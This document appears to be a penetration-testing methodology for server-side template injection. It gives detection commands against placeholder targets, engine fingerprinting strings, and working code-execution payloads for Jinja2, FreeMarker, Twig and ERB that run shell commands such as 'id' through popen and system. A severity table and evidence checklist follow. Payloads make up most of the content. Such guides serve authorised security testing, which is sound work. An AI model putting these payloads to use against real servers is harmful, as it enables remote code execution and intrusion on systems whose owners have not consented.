Server-Side Template Injection (SSTI)
Objective
Detect and exploit server-side template injection to achieve code execution on the server.
Testing Methodology
Phase 1: Detection
# Automated SSTI detection across 7 engines
attack_script ssti_tester "https://TARGET/search?q=FUZZ" --param q --json-output
# Quick mode (math payloads only)
attack_script ssti_tester "https://TARGET/render" --param template --quick
Phase 2: Generic Detection Payloads
Inject into every user-controlled parameter:
{{7*7}} → 49 (Jinja2, Twig)
${7*7} → 49 (FreeMarker, Velocity, EL)
<%= 7*7 %> → 49 (ERB, JSP)
#{7*7} → 49 (Thymeleaf)
{{7*'7'}} → 7777777 (Jinja2 string multiplication)
Phase 3: Engine Fingerprinting
{{config.items()}} → Jinja2 (Flask/Python)
{{request.application.__globals__}} → Jinja2
${T(java.lang.Runtime)} → Spring EL
<#assign x=1>${x} → FreeMarker
{{_self.env.getFilter('id')}} → Twig (PHP)
<%= system('id') %> → ERB (Ruby)
Phase 4: Exploitation
Jinja2 (Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}
FreeMarker (Java):
${"freemarker.template.utility.Execute"?new()("id")}
Twig (PHP):
{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
ERB (Ruby):
<%= `id` %>
<%= system('id') %>
Phase 5: POST-based Injection
# Test POST parameters
attack_script ssti_tester "https://TARGET/api/render" --param content --method POST --data '{"content":"FUZZ"}'
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Math expression evaluated (7*7=49) | High (P2) |
| Config/env data leaked | High (P2) |
| Command execution achieved | Critical (P1) |
| File read via template | Critical (P1) |
Evidence Requirements
- Injection point (parameter, endpoint)
- Payload sent
- Server response showing template evaluation
- Template engine identified
- For RCE: command output in response
Tools
attack_script ssti_tester— automated multi-engine detectiontplmap(external) — SSTI exploitation framework